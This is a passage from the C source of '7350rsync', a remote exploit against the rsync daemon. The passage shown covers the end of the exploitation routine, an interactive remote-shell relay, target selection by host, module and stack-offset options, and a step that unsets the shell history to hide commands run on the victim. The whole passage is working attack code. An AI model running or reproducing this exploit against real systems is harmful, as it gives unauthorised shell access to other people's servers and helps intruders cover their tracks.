1033 /* send unset HISTFILE;uname -a;w; */
1034 write(fd, CMD, sizeof(CMD));
1035
1036 /*
1037 * Either remote closed (read = 0) or we get the uname -a
1038 * output here.
1039 */
1040 memset(buf, 0, sizeof(buf));
1041 if ( (l = read_t(fd, buf, sizeof(buf)-1, debug?10000:timeout*2)) <= 0)
1042 {
1043 printf("no\n");
1044 if (l == 0)
1045 printf("TIMEOUT, wrong ebp value?\n");
1046 shutdown(fd, 2);
1047 close(fd);
1048 continue;
1049 }
1050
1051 /*
1052 * On error rsync send 4 bytes value + error string.
1053 * The second byte of error is usually 0.
1054 */
1055 if ((buf[1] == 0) || (strncmp(buf+4, "push_dir", 8) == 0))
1056 {
1057 write_sec(0, buf+4, l);
1058 printf("Oops, Garbage received, try -D, distance?\n");
1059 close(fd);
1060 continue;
1061 }
1062
1063 printf("\n--- EXPLOITED ---\n"CMD);
1064 write_sec(0, buf, l);
1065
1066 if (strncmp(buf, "CHR\n", 4) == 0)
1067 {
1068 printf("The exploit code found out that rsync runs chrooted.\n"
1069 "Use the upload/exec shellcode for chrooted\n"
1070 "environments as we did in 7350djb.\n");
1071
1072 return -1;
1073 }
1074
1075 return fd;
1076 }
1077
1078 return -1;
1079}
1080
1081
1082void
1083shell(int sock)
1084{
1085 int l;
1086 char buf[512];
1087 fd_set rfds;
1088
1089 while (1) {
1090 FD_ZERO(&rfds);
1091 FD_SET(0, &rfds);
1092 FD_SET(sock, &rfds);
1093
1094 select(sock + 1, &rfds, NULL, NULL, NULL);
1095 if (FD_ISSET (0, &rfds)) {
1096 l = read(0, buf, sizeof buf);
1097 if (l <= 0)
1098 die("shell()::read");
1099 write(sock, buf, l);
1100 }
1101 if (FD_ISSET (sock, &rfds)) {
1102 l = read(sock, buf, sizeof (buf));
1103 if (l == 0) {
1104 printf("Connection closed by foreign host.\n");
1105 exit(EXIT_FAILURE);
1106 } else if (l < 0)
1107 die("read remote");
1108 write(1, buf, l);
1109 }
1110 }
1111}
1112
1113/*
1114 * lame host resolver function
1115 */
1116unsigned long
1117host_resolve(char *host)
1118{
1119 unsigned long ip;
1120 struct hostent *he;
1121
1122 if ( (ip = inet_addr(host)) != -1)
1123 return ip;
1124
1125 if ( (he = gethostbyname(host)) == NULL)
1126 return -1;
1127
1128 if (he->h_length != sizeof(ip))
1129 return -1;
1130
1131 return *(unsigned long *)he->h_addr;
1132}
1133
1134
1135/*
1136 *
1137 */
1138int
1139main(int argc, char **argv)
1140{
1141 int remote_version = 22;
1142 int peer = 0, c;
1143 char *mod = NULL;
1144 int target_n = -1, s;
1145 u_short port = htons(873);
1146 int maxpath = -1;
1147 unsigned long ip = 0;
1148 int distance = -1;
1149
1150 //TEST_x86_SC(x86_jump);
1151
1152 setbuffer(stdout, NULL, 0);
1153 printf("7350rsync -- remote rsync exploit, anonymous@segfault.net & die andere nase\n\n");
1154
1155 while ((c = getopt(argc, argv, "dT:D:P:m:t:p:")) != -1) {
1156 switch (c) {
1157 case 'd':
1158 debug = 1;
1159 break;
1160 case 'T':
1161 timeout = atoi(optarg);
1162 break;
1163 case 'P':
1164 maxpath = atoi(optarg);
1165 break;
1166 case 'D':
1167 distance = atoi(optarg);
1168 if (distance > 0)
1169 {
1170 printf("You meant -%d, right?\n", distance);
1171 distance = 0 - distance;
1172 }
1173 break;
1174 case 'm':
1175 mod = strdup(optarg);
1176 break;
1177 case 't':
1178 target_n = atoi(optarg);
1179 break;
1180 case 'p':
1181 port = htons(atoi(optarg));
1182 break;
1183 default:
1184 usage();
1185 break;
1186 }
1187 }
1188
1189 /*
1190 * Show target list
1191 */
1192 if (target_n == 0) {
1193 show_targets();
1194 exit(0);
1195 }
1196
1197 /*
1198 * get target hostname/ip
1199 */
1200 if (optind >= argc)
1201 usage();
1202
1203 if ( (ip = host_resolve(argv[optind])) == -1)
1204 ERREXIT("Unable to resolve hostname.\n");
1205 /*
1206 * Fetch modules from the remote
1207 */
1208 if (mod == NULL) {
1209 printf("[0x000] checking for modules (use last found!)... \n");
1210 peer = tcp_connect(ip, port);
1211 mod = rsync_find_module(peer);
1212 shutdown(peer, 2);
1213 close(peer);
1214 if (mod == NULL)
1215 die("can't find module, try rsync ip::");
1216 }
1217
1218 printf("MODULE : \"%s\"\n", mod);
1219
1220 if (target_n != -1)
1221 {
1222 if (maxpath == -1)
1223 maxpath = targets[target_n - 1].maxpath;
1224 if (distance == -1)
1225 distance = targets[target_n - 1].ebp_dist;
1226 }
1227
1228 if (maxpath == 0)
1229 maxpath = rsync_find_maxpathlen(ip, port, mod);
1230
1231 if (distance == 0)
1232 distance = rsync_find_distance(ip, port, mod);
1233
1234 /*
1235 * User MUST select a target (at least!).
1236 */
1237 if (target_n == -1 || target_n >= sizeof(targets) / sizeof(*targets))
1238 usage();
1239
1240 targets[target_n - 1].maxpath = maxpath;
1241 targets[target_n - 1].ebp_dist = distance;
1242
1243 printf("MAXPATHLEN : %d\n", targets[target_n - 1].maxpath);
1244 printf("ebp distance : %d\n", targets[target_n - 1].ebp_dist);
1245
1246 printf("checking if we everything works out... \n");
1247 s = rsync_exploit(ip, port, mod, remote_version, target_n-1);
1248
1249 if (s < 0)
1250 printf("failed :/ Maybe $ebp already ends in 00 or 04.\n");
1251 else
1252 shell(s);
1253
1254
1255 return 0;
1256}